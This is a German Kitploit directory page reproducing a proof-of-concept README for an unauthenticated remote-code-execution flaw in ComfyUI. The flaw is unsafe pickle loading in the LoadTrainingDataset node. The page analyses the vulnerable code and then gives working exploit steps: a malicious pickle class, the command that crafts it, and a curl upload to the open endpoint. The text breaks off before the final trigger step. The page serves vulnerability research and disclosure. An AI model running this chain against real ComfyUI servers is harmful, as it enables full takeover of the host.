Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
comfyui-CVE-2026-68771-PoC — Sicherheitsforschungslabor — nicht authentifizierte RCE über unsichere Deserialisierung in ComfyUI v0.23.0 (CVSS 9.8). Isolierte Docker-Umgebung, technische Analyse und Dokumentation. | Kitploit
Tools/GitHubGitHub/oscar-collado/comfyui-cve-2026-68771-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungKI-Sicherheit
GitHuboscar-collado/comfyui-cve-2026-68771-poc

comfyui-CVE-2026-68771-PoC

Sicherheitsforschungslabor — nicht authentifizierte RCE über unsichere Deserialisierung in ComfyUI v0.23.0 (CVSS 9.8). Isolierte Docker-Umgebung, technische Analyse und Dokumentation.

Repository anzeigen
12vor 20 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-68771 — ComfyUI: Unauthentifizierte RCE durch unsichere Deserialisierung

Nur für Bildungszwecke. Nur gegen Systeme verwenden, die Sie besitzen oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben.


Über ComfyUI

ComfyUI ist eine quelloffene knotenbasierte grafische Oberfläche zum lokalen Ausführen von KI-Bild- und Videogenerierungsmodellen. Sie ermöglicht es Benutzern, komplexe Generierungspipelines zu erstellen, indem sie Knoten visuell verbinden — jeder Knoten repräsentiert eine Operation wie das Laden eines Modells, das Kodieren von Textaufforderungen, das Sampling oder die Nachbearbeitung von Bildern. Seine Flexibilität und Unterstützung für eine breite Palette von Modellen (Stable Diffusion, Flux, HunyuanVideo und andere) haben es zu einem der am weitesten verbreiteten Werkzeuge in der KI-Generierungsgemeinschaft gemacht.

Die Anwendung stellt eine lokale HTTP-API auf Port 8188 bereit, über die das Frontend mit dem Backend kommuniziert, um Assets hochzuladen und Generierungsworkflows in die Warteschlange zu stellen. Obwohl für die lokale Einzelnutzung konzipiert, findet man ComfyUI-Instanzen häufig in internen Netzwerken oder direkt im Internet exponiert — in Cloud-GPU-Umgebungen, gemeinsamen Forschungssetups oder selbstgehosteten Kreativstudios — oft ohne zusätzliche Authentifizierungsschicht, was genau dem Bedrohungsmodell entspricht, auf das diese Schwachstelle abzielt.

Zum Zeitpunkt der Offenlegung hatte ComfyUI über 65.000 Sterne auf GitHub und ein aktives Ökosystem von benutzerdefinierten Knoten und Erweiterungen, von denen viele zusätzliche Angriffsfläche über die Kernanwendung hinaus einführen.


Zusammenfassung

CVE-2026-68771 ist eine Schwachstelle der unsicheren Deserialisierung (CWE-502) in ComfyUI v0.23.0, die es einem nicht authentifizierten Remote-Angreifer ermöglicht, beliebigen Code auf dem Server auszuführen. Die Angriffskette kombiniert zwei nicht authentifizierte Endpunkte: POST /upload/image zum Hochladen einer bösartigen Pickle-Datei und POST /prompt, um deren Deserialisierung über den LoadTrainingDataset-Knoten auszulösen.

FeldWert
CVECVE-2026-68771
CVSS 3.19.8 (Kritisch)
VektorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-502 (Deserialisierung nicht vertrauenswürdiger Daten)
Betroffene VersionComfyUI v0.23.0 (und frühere ohne den Fix)
Behobene VersionCommit 94ee49b1612824366a8631ea069b2a1fa5c73720
Veröffentlicht31. Juli 2026

Laborumgebung

  • Plattform: Docker (Kali Linux Host)
  • Basis-Image: python:3.11-slim
  • ComfyUI-Version: v0.23.0 (exakter Git-Checkout)
  • PyTorch: 2.5.1+cpu (Version vor der Änderung des weights_only-Standards)
  • Netzwerkisolation: Port nur auf 127.0.0.1:8188 veröffentlicht, kein externer Netzwerkzugriff
  • Prozessrechte: uid=0 (root)

Technische Analyse

1. Fehlende Authentifizierung an API-Endpunkten

POST /upload/image — server.py, Zeilen 450-453:

@routes.post("/upload/image")
async def upload_image(request):
    post = await request.post()
    return image_upload(post)  # no session or token verification

POST /prompt — server.py, Zeilen 927-928:

@routes.post("/prompt")
async def post_prompt(request):
    logging.info("got prompt")
    json_data = await request.json()
    # no session or token verification
    ...
    self.prompt_queue.put((number, prompt_id, prompt, ...))

Keiner der beiden Endpunkte implementiert eine Zugriffskontrolle. Jeder HTTP-Client kann Dateien hochladen und Workflows ohne Authentifizierung in die Warteschlange stellen.


2. Der verwundbare Aufruf — LoadTrainingDataset.execute()

comfy_extras/nodes_dataset.py, Zeile 1568:

@classmethod
def execute(cls, folder_name):
    dataset_dir = os.path.join(folder_paths.get_output_directory(), folder_name)

    shard_files = sorted([
        f for f in os.listdir(dataset_dir)
        if f.startswith("shard_") and f.endswith(".pkl")
    ])

    for shard_file in shard_files:
        shard_path = os.path.join(dataset_dir, shard_file)
        with open(shard_path, "rb") as f:
            shard_data = torch.load(f)  # ← VULNERABLE: weights_only not specified

torch.load() ohne weights_only=True verwendet Pythons Pickle-Protokoll, um die Datei zu deserialisieren. Pickle ist kein Datenformat — es ist ein Python-Objekt-Serialisierungsprotokoll, das die __reduce__-Methode eines beliebigen Objekts während der Deserialisierung ausführt und so die Ausführung beliebigen Codes ermöglicht.

Der Knoten verließ sich auf PyTorchs historischen Standardwert (weights_only=False) und war damit der einzige torch.load-Aufruf in der gesamten Codebasis ohne den expliziten Parameter. Der Rest der Codebasis (comfy/utils.py, comfy/sd1_clip.py) übergab ihn bereits korrekt.


3. Vollständiger Angriffsablauf

Attacker (unauthenticated)

[0] CRAFT MALICIOUS PICKLE
    └─ Serialize a Python object with __reduce__ returning (os.system, ("cmd",))
    └─ PyTorch's torch.save() format wraps it in a valid .pkl container
    └─ Output: shard_0000.pkl — valid filename pattern expected by LoadTrainingDataset
        │
        ▼
[1] POST /upload/image
    └─ Upload shard_0000.pkl (pickle with malicious __reduce__)
    └─ Parameters: type=output, subfolder=cve_test
    └─ Response: 200 OK {"name":"shard_0000.pkl", ...}
    └─ File lands at: /opt/comfyui/output/cve_test/shard_0000.pkl
        │
        ▼
[2] POST /prompt
    └─ JSON workflow with LoadTrainingDataset node
    └─ folder_name: "cve_test" → points to the folder containing the uploaded .pkl
    └─ Response: 200 OK {"prompt_id": "...", "node_errors": {}}
        │
        ▼
[3] LoadTrainingDataset.execute()
    └─ Locates shard_0000.pkl in the directory
    └─ torch.load(f) → deserializes the pickle
    └─ __reduce__ executes: os.system("id > /tmp/pwned.txt")
        │
        ▼
[4] RCE as root
    └─ uid=0(root) gid=0(root) groups=0(root)

Proof-of-Concept-Nachweise (Labor)

Erstellen der bösartigen Pickle-Datei

Die Payload nutzt Pythons Pickle-__reduce__-Protokoll aus. Wenn torch.load() die Datei deserialisiert, instanziiert Python das Objekt, indem es das von __reduce__ zurückgegebene Callable aufruft und so den vom Angreifer kontrollierten Befehl ausführt, bevor irgendeine Anwendungslogik läuft.

Der Dateiname muss dem Muster shard_*.pkl entsprechen — fest codiert in LoadTrainingDataset.execute() als Dateierkennungsfilter:

shard_files = sorted([
    f for f in os.listdir(dataset_dir)
    if f.startswith("shard_") and f.endswith(".pkl")
])

pickle_craft.py:

class Exploit:
    def __reduce__(self):
        return (os.system, (args.cmd,))
python3 pickle_craft.py --cmd "id > /tmp/pwned.txt"

Ausgabe:

[*] Crafting malicious pickle...
[*] Payload: __reduce__ → os.system('id > /tmp/pwned.txt')
[*] Filename must match pattern 'shard_*.pkl' (hardcoded filter in LoadTrainingDataset)
[+] Pickle crafted: shard_0000.pkl (57 bytes)
[+] Command embedded: 'id > /tmp/pwned.txt'
[+] Ready to upload via POST /upload/image

Vektor 1 — Nicht authentifizierter Datei-Upload

curl -s -X POST http://127.0.0.1:8188/upload/image \
  -F "image=@shard_0000.pkl;type=application/octet-stream" \
  -F "type=output" \
  -F "subfolder=cve_test"

Antwort:

{"name": "shard_0000.pkl", "subfolder": "cve_test", "type": "output"}

HTTP 200 ohne Token, ohne Session, ohne spezielle Header.


Vektor 2 — Nicht authentifizierte Workflow-Ausführung

Tool herunterladen